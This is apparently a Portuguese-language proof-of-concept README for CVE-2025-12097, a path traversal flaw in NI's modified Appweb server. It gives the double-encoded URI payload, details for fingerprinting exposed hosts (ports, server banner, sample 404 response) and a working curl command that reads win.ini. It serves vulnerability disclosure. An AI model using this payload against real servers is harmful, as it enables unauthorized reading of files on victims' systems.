
Prova de conceito de exploit para CVE-2025-12097, uma vulnerabilidade de travessia de diretório no servidor Appweb modificado pela NI que permite leitura arbitrária de arquivos em sistemas Windows.
A modificação NI do servidor Appweb contém uma vulnerabilidade de travessia de diretório que permite a um atacante ler arquivos arbitrários no servidor.
O caminho URI /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini será convertido para:
pathInfo cchar * "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/windows/win.ini” 0x000000010076f808 que é um URI válido e o appweb não bloqueia esta requisição. Isso é então passado para um manipulador personalizado que, neste caso, retorna o conteúdo de qualquer arquivo solicitado.
Devido à natureza do software afetado, os dispositivos impactados são exclusivamente sistemas Microsoft Windows.
Versão vulnerável mais alta observada: 12.0.0.
Os dispositivos afetados podem ser identificados pelas seguintes características:
Nem sempre presente, mas na maioria dos casos o serviço roda na porta 3580, outras portas podem incluir 8080 e 80.
Resposta do servidor para /
HTTP/1.1 404 Not Found
Server: Mbedthis-Appweb/2.5.0
Date: Thu, 11 Dec 2025 18:23:26 GMT
Connection: keep-alive
Keep-Alive: timeout=60000, max=100
Content-Type: text/html
Content-length: 126
<HTML><HEAD><TITLE>Document Error: Not Found</TITLE></HEAD>
<BODY><H2>Access Error: 404 -- Not Found</H2>
</BODY></HTML>
Para explorar esta vulnerabilidade, você pode usar o seguinte comando:
curl http://<TARGET>:3580/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini
Você verá o conteúdo do arquivo win.ini se o alvo estiver vulnerável.